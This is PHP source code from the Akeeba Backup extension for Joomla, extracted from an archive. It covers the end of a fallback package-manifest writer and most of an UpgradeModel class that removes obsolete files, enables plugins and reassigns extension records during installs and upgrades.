			'copyright'    => sprintf('Copyright (c)2006-%d Akeeba Ltd / Nicholas K. Dionysopoulos', gmdate('Y')),
			'authorEmail'  => '',
			'authorUrl'    => 'https://www.akeeba.com',
			'version'      => $this->version,
			'description'  => sprintf('Akeeba Backup for Joomla! installation package v.%s', $this->version),
			'group'        => '',
			'filename'     => 'pkg_akeebabackup',
		]);

		$extensionRecord = [
			'name'             => 'Akeeba Backup for Joomla! package',
			'type'             => 'package',
			'element'          => 'pkg_akeebabackup',
			'folder'           => '',
			'client_id'        => 0,
			'enabled'          => 1,
			'access'           => 1,
			'protected'        => 0,
			'manifest_cache'   => $manifestCacheJson,
			'params'           => '{}',
			'checked_out'      => 0,
			'checked_out_time' => null,
			'state'            => 0,
		];

		$extension = new Extension($db);
		$extension->save($extensionRecord);

		$this->createFakePackageManifest();
	}

	private function createFakePackageManifest()
	{
		$path = sprintf("%s/manifests/packages/%s.xml", JPATH_ADMINISTRATOR, $this->extensionKey);

		if (file_exists($path))
		{
			return;
		}

		$isPro   = defined('AKEEBABACKUP_PRO') ? AKEEBABACKUP_PRO : 0;
		$proCore = $isPro ? 'pro' : 'core';
		$dlid    = $isPro ? '<dlid prefix="dlid=" suffix=""/>' : '';
		$year    = gmdate('Y');
		$date    = gmdate('Y-m-d');

		$proPlugins = <<< END
        <file type="plugin" group="console" id="akeebabackup">plg_console_akeebabackup.zip</file>
        <file type="plugin" group="system" id="backuponupdate">plg_system_backuponupdate.zip</file>
        <file type="plugin" group="actionlog" id="akeebabackup">plg_actionlog_akeebabackup.zip</file>
END;
		$proPlugins = $isPro ? $proPlugins : '';

		$content = <<< XML
<?xml version="1.0" encoding="utf-8"?>
<extension version="3.9.0" type="package" method="upgrade">
	$dlid
    <name>Akeeba Backup for Joomla! package</name>
    <author>Nicholas K. Dionysopoulos</author>
    <creationDate>$date</creationDate>
    <packagename>akeebabackup</packagename>
    <version>{$this->version}</version>
    <url>https://www.akeeba.com</url>
    <packager>Akeeba Ltd</packager>
    <packagerurl>https://www.akeeba.com</packagerurl>
    <copyright>Copyright (c)2006-$year Akeeba Ltd / Nicholas K. Dionysopoulos</copyright>
    <license>GNU GPL v3 or later</license>
    <description>Akeeba Backup for Joomla! installation package {$this->version}</description>

    <files>
        <file type="component" id="com_akeebabackup">com_akeebabackup-{$proCore}.zip</file>
        <file type="plugin" group="quickicon" id="akeebabackup">plg_quickicon_akeebabackup.zip</file>
        $proPlugins
    </files>

    <scriptfile>script.akeebabackup.php</scriptfile>
</extension>
XML;

		if (!@file_put_contents($content, $path))
		{
			// File::write($path, $content);
		}
	}
}PK     \"˵  ˵    src/Model/UpgradeModel.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Component\AkeebaBackup\Administrator\Model;

defined('_JEXEC') || die;

use DirectoryIterator;
use Joomla\CMS\Factory;
use Joomla\CMS\Installer\Adapter\PackageAdapter;
use Joomla\CMS\Installer\Installer;
use Joomla\CMS\MVC\Model\BaseModel;
use Joomla\CMS\Table\Extension;
use Joomla\CMS\User\UserHelper;
use Joomla\Database\DatabaseAwareInterface;
use Joomla\Database\DatabaseAwareTrait;
use Joomla\Database\DatabaseInterface;
use Joomla\Database\ParameterType;
use Joomla\Filesystem\File;
use Joomla\Filesystem\Folder;
use RuntimeException;
use SimpleXMLElement;
use Throwable;

/**
 * Handles post-installation and upgrade tasks.
 *
 * This model centralises code we previously had scattered around our installation script files. It handles the
 * following tasks that Joomla can't reasonably do by itself:
 *
 * - Migrating form one package name to another when some / all of the included extensions have the same names.
 * - Migrating from FOF-based to Joomla-core-MVC-based extensions.
 * - Enabling plugins and modules upon new installation to provide a better UX without any non-obvious steps.
 * - Downgrading from a Pro to a Core version of an extension.
 * - Executing custom, extension-specific upgrade tasks.
 */
#[\AllowDynamicProperties]
class UpgradeModel extends BaseModel implements DatabaseAwareInterface
{
	use DatabaseAwareTrait;

	/**
	 * Name of the package being replaced
	 *
	 * @var   string
	 */
	private const OLD_PACKAGE_NAME = 'pkg_akeeba';

	/**
	 * Name of the new package this component belongs to
	 *
	 * @var   string
	 */
	private const PACKAGE_NAME = 'pkg_akeebabackup';

	/**
	 * Criteria for determining this is the Pro version by inspecting the filesystem.
	 *
	 * Each array element is an array in itself with two elements:
	 * * 0: const|file|folder
	 * * 1: constant name; or path to the file or folder to check for existence
	 *
	 * Matching any criterion means we have the Pro version
	 *
	 * @var   array
	 */
	private const PRO_CRITERIA = [
		['const', 'AKEEBABACKUP_PRO'],
		['const', 'AKEEBABACKUP_INSTALLATION_PRO'],
	];

	/**
	 * Files and folders to remove from both Core and Pro versions
	 *
	 * @var array[]
	 */
	private const REMOVE_FROM_ALL_VERSIONS = [
		'files'   => [
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/src/Model/UsageStatisticsModel.php',

			// Remove iDriveSync — the service has been discontinued
			JPATH_ADMINISTRATOR . 'administrator/components/com_akeebabackup/vendor/akeeba/engine/Postproc/idrivesync.json',
			JPATH_ADMINISTRATOR . 'administrator/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Idrivesync.php',
			JPATH_ADMINISTRATOR . 'administrator/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Connector/Idrivesync.php',

			// Remove Piecon
			JPATH_ADMINISTRATOR . 'media/com_akeebabackup/js/piecon.js',
			JPATH_ADMINISTRATOR . 'media/com_akeebabackup/js/piecon.min.js',
			JPATH_ADMINISTRATOR . 'media/com_akeebabackup/js/piecon.min.js.map',

			// Legacy helpers
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/src/Helper/CacheCleaner.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/src/Helper/ComponentParams.php',

			// Legacy filters
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/platform/Joomla/Filter/Stack/StackMyjoomla.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/platform/Joomla/Filter/Stack/myjoomla.json',

			// Legacy usage stats collection
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/src/Helper/usagestats.php',

			// Old ANGIE restoration script
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/installers/angie-generic.jpa',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/installers/angie-generic.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/installers/angie-joomla.jpa',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/installers/angie-joomla.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/installers/angie.jpa',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/installers/angie.json',

			// Old copy of Kickstart
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/installers/kickstart.txt',
		],
		'folders' => [
			JPATH_ADMINISTRATOR . 'administrator/components/com_akeebabackup/platform/Joomla/Finalization',

			// Legacy traits
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/src/Controller/Mixin',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/src/Dispatcher/Mixin',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/src/Model/Mixin',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/src/Table/Mixin',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/src/View/Mixin',

			// Legacy folders (these dependencies are now imported through Composer)
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/engine',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/webpush',
		],
	];

	/**
	 * Files and folders to remove ONLY from the Core version
	 *
	 * @var array[]
	 */
	private const REMOVE_FROM_CORE = [
		'files'   => [
			// Pro engine features
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Archiver/Directftp.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Archiver/directftp.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Archiver/Directftpcurl.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Archiver/directftpcurl.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Archiver/Directsftp.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Archiver/directsftp.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Archiver/Directsftpcurl.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Archiver/directsftpcurl.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Archiver/Jps.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Archiver/jps.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Archiver/Zipnative.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Archiver/zipnative.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Connector/**"',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/amazons3.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Amazons3.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/azure.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Azure.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/backblaze.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Backblaze.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/box.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Box.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/cloudfiles.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Cloudfiles.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/cloudme.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Cloudme.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/dreamobjects.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Dreamobjects.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/dropbox.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Dropbox.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/dropbox2.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Dropbox2.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/ftp.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Ftp.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/ftpcurl.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Ftpcurl.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/googledrive.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Googledrive.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/googlestorage.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Googlestorage.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/googlestoragejson.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Googlestoragejson.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/idrivesync.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Idrivesync.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/onedrive.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Onedrive.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/onedrivebusiness.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Onedrivebusiness.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/ovh.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Ovh.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/pcloud.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Pcloud.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/s3.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/S3.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/sftp.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Sftp.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/sftpcurl.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Sftpcurl.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/sugarsync.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Sugarsync.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/swift.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Swift.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/webdav.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Postproc/Webdav.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Scan/large.json',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/vendor/akeeba/engine/Scan/Large.php',

			// Kickstart, used for Site Transfer Wizard
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/installers/kickstart.txt',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/installers/kickstart.dat',

			// Pro features: Controllers
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Controller/AliceController.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Controller/DiscoverController.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Controller/IncludefoldersController.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Controller/MultipledatabasesController.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Controller/RegexdatabasefiltersController.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Controller/RegexfilefiltersController.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Controller/RemoteFilesController.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Controller/RestoreController.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Controller/ScheduleController.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Controller/S3importController.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Controller/TransferController.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Controller/UploadController.php',

			// Pro features: Models
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Model/AliceModel.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Model/DiscoverModel.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Model/IncludefoldersModel.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Model/MultipledatabasesModel.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Model/RegexdatabasefiltersModel.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Model/RegexfilefiltersModel.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Model/RemoteFilesModel.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Model/RestoreModel.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Model/ScheduleModel.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Model/S3importModel.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Model/TransferModel.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/Model/UploadModel.php',

			// Pro features: Platform files
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/platform/Joomla/Filter/Components.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/platform/Joomla/Filter/Extensiondirs.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/platform/Joomla/Filter/Extensionfiles.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/platform/Joomla/Filter/Languages.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/platform/Joomla/Filter/Modules.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/platform/Joomla/Filter/Plugins.php',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/platform/Joomla/Filter/Templates.php',

			// Pro features: integrated restoration — Should be removed by Joomla itself
			// JPATH_ADMINISTRATOR . '/components/com_akeebabackup/restore.php',
		],
		'folders' => [
			// Pro features: API application — Should be removed by Joomla itself
			// JPATH_API . '/components/com_akeebabackup',

			// Pro features: ALICE — Should be removed by Joomla itself
			// JPATH_ADMINISTRATOR . '/components/com_akeebabackup/AliceChecks',

			// Pro features: Joomla CLI integration
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/src/CliCommands',

			// Pro features: Views
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/View/Alice',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/View/Discover',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/View/Includefolders',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/View/Multipledatabases',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/View/Regexdatabasefilters',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/View/Regexfilefilters',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/View/RemoteFiles',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/View/Restore',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/View/Schedule',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/View/S3import',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/View/Transfer',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/View/Upload',

			// Pro features: View templates
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/tmpl/Alice',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/tmpl/Discover',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/tmpl/Includefolders',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/tmpl/Multipledatabases',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/tmpl/Regexdatabasefilters',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/tmpl/Regexfilefilters',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/tmpl/RemoteFiles',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/tmpl/Restore',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/tmpl/Schedule',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/tmpl/S3import',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/tmpl/Transfer',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/tmpl/Upload',

			// Pro features: Platform folders
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/platform/Joomla/Config/Pro',
			JPATH_ADMINISTRATOR . '/components/com_akeebabackup/platform/Joomla/Finalization',

			// Pro features: Frontend controllers — Should be removed by Joomla itself
			// JPATH_SITE . '/src/Controller',

			// Pro features: Frontend models — Should be removed by Joomla itself
			// JPATH_SITE . '/src/Model',
		],
	];

	/** @var string[] Included extensions to automatically publish on a NEW INSTALLATION */
	private const ENABLE_EXTENSIONS = [
		'plg_quickicon_akeebabackup',
		'plg_system_backuponupdate',
	];

	/** @var string[] Included extensions to automatically publish on NEW INSTALLATION OR UPGRADE */
	private const ALWAYS_ENABLE_EXTENSIONS = [
		'plg_console_akeebabackup',
		'plg_pagecache_akeebabackup',
		'plg_system_akwarn',
		'plg_task_akeebabackup',
		'plg_webservices_akeebabackup',
	];

	/** @var string[] Extensions to always uninstall if they are still installed (runs on install and upgrade) */
	private const REMOVE_EXTENSIONS = [];

	/** @var string[] Included extensions to be uninstalled when installing the Core version */
	private const PRO_ONLY_EXTENSIONS = [
		'plg_console_akeebabackup',
		'plg_system_backuponupdate',
		'plg_actionlog_akeebabackup',
		'plg_task_akeebabackup',
		'plg_webservices_akeebabackup',
		'plg_pagecache_akeebabackup',
	];

	/** @var string Relative directory to the custom handlers */
	private const CUSTOM_HANDLERS_DIRECTORY = 'UpgradeHandler';

	/**
	 * The database driver.
	 *
	 * @var    DatabaseInterface
	 * @since  9.3.0
	 */
	protected $_db;

	/**
	 * List of extensions included in both old and new packages (if applicable)
	 *
	 * @var   array
	 */
	private $extensionsList;

	/**
	 * Caches the extension names to IDs so we don't query the database too many times.
	 *
	 * @var   array
	 */
	private $extensionIds = [];

	/**
	 * UpgradeModel custom handlers, implementing custom logic for each extension.
	 *
	 * @var object[]
	 */
	private $customHandlers = [];

	public function init()
	{
		// Find out the common extensions
		if ($this->isSamePackage())
		{
			$this->extensionsList = $this->getExtensionsFromPackage(self::PACKAGE_NAME);
		}
		else
		{
			$oldExtensions        = $this->getExtensionsFromPackage(self::OLD_PACKAGE_NAME);
			$newExtensions        = $this->getExtensionsFromPackage(self::PACKAGE_NAME);
			$this->extensionsList = array_intersect($newExtensions, $oldExtensions);
		}

		// Load extension-specific adapters
		$this->loadCustomHandlers();
	}

	/**
	 * Handles the package's post-flight routine
	 *
	 * @param   string               $type    Which action is happening (install|uninstall|discover_install|update)
	 * @param   PackageAdapter|null  $parent  The object responsible for running this script. NULL if running outside
	 *                                        of the package's script.
	 *
	 * @return  bool
	 */
	public function postflight(string $type, ?PackageAdapter $parent = null): bool
	{
		switch ($type)
		{
			// Brand new installation (regular or through Discover)
			case 'install':
			case 'discover_install':
				$this->runIsolated([
					'upgradeFromOldPackage',
					'uninstallExtensions',
					'publishExtensionsOnInstall',
					'publishExtensionsAlways',
					'removeObsoleteFiles',
					'adoptMyExtensions',
				]);

				$this->runCustomHandlerEvent('onInstall', $type, $parent);
				break;

			// Update to a new version
			case 'update':
			default:
				$this->runIsolated([
					'removeObsoleteFiles',
					'publishExtensionsAlways',
					'uninstallExtensions',
					'uninstallProExtensions',
					'adoptMyExtensions',
				]);

				$this->runCustomHandlerEvent('onUpdate', $type, $parent);
				break;

			// Uninstallation
			case 'uninstall':
				$this->runCustomHandlerEvent('onUninstall', $type, $parent);
				break;
		}

		return true;
	}

	/**
	 * Runs an event across all custom handler objects.
	 *
	 * @param   string  $eventName     The name of the event to run
	 * @param   mixed   ...$arguments  Arguments to the event
	 *
	 * @return  array  The results of the custom handler events.
	 */
	public function runCustomHandlerEvent(string $eventName, ...$arguments): array
	{
		$result = [];

		foreach ($this->customHandlers as $adapter)
		{
			if (!method_exists($adapter, $eventName))
			{
				continue;
			}

			try
			{
				$result[] = $adapter->{$eventName}(...$arguments);
			}
			catch (Throwable $e)
			{
				if (defined('JDEBUG') && JDEBUG)
				{
					Factory::getApplication()->enqueueMessage($e->getMessage());
				}
			}
		}

		return $result;
	}

	/**
	 * Returns the extension ID for a Joomla extension given its name.
	 *
	 * This is deliberately public so that custom handlers can use it without having to reimplement it.
	 *
	 * @param   string  $extension  The extension name, e.g. `plg_system_example`.
	 *
	 * @return  int|null  The extension ID or null if no such extension exists
	 */
	public function getExtensionId(string $extension): ?int
	{
		if (isset($this->extensionIds[$extension]))
		{
			return $this->extensionIds[$extension];
		}

		$this->extensionIds[$extension] = null;

		$criteria = $this->extensionNameToCriteria($extension);

		if (empty($criteria))
		{
			return $this->extensionIds[$extension];
		}

		$db    = $this->getDatabase();
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
		            ->select($db->quoteName('extension_id'))
		            ->from($db->quoteName('#__extensions'));

		foreach ($criteria as $key => $value)
		{
			$type = is_numeric($value) ? ParameterType::INTEGER : ParameterType::STRING;
			$type = is_bool($value) ? ParameterType::BOOLEAN : $type;
			$type = is_null($value) ? ParameterType::NULL : $type;

			/**
			 * This is required since $value is passed by reference in bind(). If we do not do this unholy trick the
			 * $value variable is overwritten in the next foreach() iteration, therefore all criteria values will be
			 * equal to the last value iterated. Groan...
			 */
			$varName    = 'queryParam' . ucfirst($key);
			${$varName} = $value;

			$query->where($db->qn($key) . ' = :' . $key)
			      ->bind(':' . $key, ${$varName}, $type);
		}

		try
		{
			$this->extensionIds[$extension] = (int) $db->setQuery($query)->loadResult();
		}
		catch (RuntimeException $e)
		{
			return null;
		}

		return $this->extensionIds[$extension];
	}

	/**
	 * Adopt the extensions by new package.
	 *
	 * This modifies the package_id column of the #__extensions table for the records of the extensions declared in the
	 * new package's manifest. This allows you to use Discover to install new extensions without leaving them “orphan”
	 * of a package in the #__extensions table, something which could cause problems when running Joomla! Update.
	 *
	 * @return  void
	 */
	public function adoptMyExtensions(): void
	{
		// Get the extension ID of the new package
		$newPackageId = $this->getExtensionId(self::PACKAGE_NAME);

		if (empty($newPackageId))
		{
			return;
		}

		// Get the extension IDs
		$extensionIDs = array_map([$this, 'getExtensionId'], $this->getExtensionsFromPackage(self::PACKAGE_NAME));
		$extensionIDs = array_filter($extensionIDs, function ($x) {
			return !empty($x);
		});

		if (empty($extensionIDs))
		{
			return;
		}

		/**
		 * Looks stupid? This realigns the integer keys because whereIn() expects 0-based, monotonically increasing
		 * array keys. Otherwise it ends up emitting null values. GROAN!
		 */
		$extensionIDs = array_merge($extensionIDs);

		// Reassign all extensions
		$db    = $this->getDatabase();
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
		            ->update($db->quoteName('#__extensions'))
		            ->set($db->qn('package_id') . ' = :package_id')
		            ->whereIn($db->qn('extension_id'), $extensionIDs, ParameterType::INTEGER)
		            ->bind(':package_id', $newPackageId, ParameterType::INTEGER);
		$db->setQuery($query)->execute();
	}

	/**
	 * Handle the package upgrade from the old to the new package.
	 *
	 * These versions would also run on Joomla 4 but are replaced with this new package. Since the package name is
	 * different but some of the included extensions are under the same name we need to deal with them. Namely, we need
	 * to:
	 *
	 * * Change the `package_id` in the `#__extensions` table to that of the new `pkg_akeebabackup` package. This is
	 *   currently not used anywhere(?) but it might be the case that Joomla finalyl decides to prevent standalone
	 *   uninstallation of extensions which are part of a package.
	 * * Remove the extensions from the `#__akeeba_common` entries which mark them as dependent on FOF 3.x or 4.x. This
	 *   is so that FOF 3.x / 4.x can be uninstalled when the old package (`pkg_akeeba`) is being uninstalled, since
	 *   these extensions will NOT be removed with it, per the item below.
	 * * Edit the cached XML manifest file of the old `pkg_akeeba` package so that it doesn't try to uninstall the
	 *   extensions it has in common with the new `pkg_akeebabackup` package. Joomla SHOULD figure this out by means of
	 *   the recorded `package_id` in the `#__extensions` table but it currently doesn't seem to have any code to do
	 *   that. Therefore editing the cached XML manifest is the only reasonable way to do this.
	 *
	 * @return  void
	 * @noinspection PhpUnused
	 */
	protected function upgradeFromOldPackage(): void
	{
		if ($this->isSamePackage())
		{
			$this->unregisterFromFOF('3');
			$this->unregisterFromFOF('4');

			return;
		}

		if (!$this->hasOldPackage())
		{
			return;
		}

		$this->reassignExtensions();
		/** @noinspection PhpRedundantOptionalArgumentInspection */
		$this->unregisterFromFOF('3');
		$this->unregisterFromFOF('4');
		$this->removeExtensionsFromPackageManifest();
	}

	/**
	 * Publish a list of extensions.
	 *
	 * Used to publish various plugins when you install the package.
	 *
	 * @return  void
	 */
	protected function publishExtensionsOnInstall(?array $extensionsList = null): void
	{
		$extensionsList = $extensionsList ?? self::ENABLE_EXTENSIONS;
		$extensionIDs   = array_map([$this, 'getExtensionId'], $extensionsList);
		$extensionIDs   = array_filter($extensionIDs, function ($x) {
			return !empty($x);
		});

		if (empty($extensionIDs))
		{
			return;
		}

		$db    = $this->getDatabase();
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
		            ->update($db->quoteName('#__extensions'))
		            ->set($db->qn('enabled') . ' = 1')
		            ->whereIn($db->quoteName('extension_id'), $extensionIDs);
		try
		{
			$db->setQuery($query)->execute();
		}
		catch (RuntimeException $e)
		{
			return;
		}
	}

	protected function publishExtensionsAlways()
	{
		$this->publishExtensionsOnInstall(self::ALWAYS_ENABLE_EXTENSIONS);
	}

	/**
	 * Removes obsolete files and folders.
	 *
	 * This is required because Joomla's extensions installer will only check for the top-level files and directories
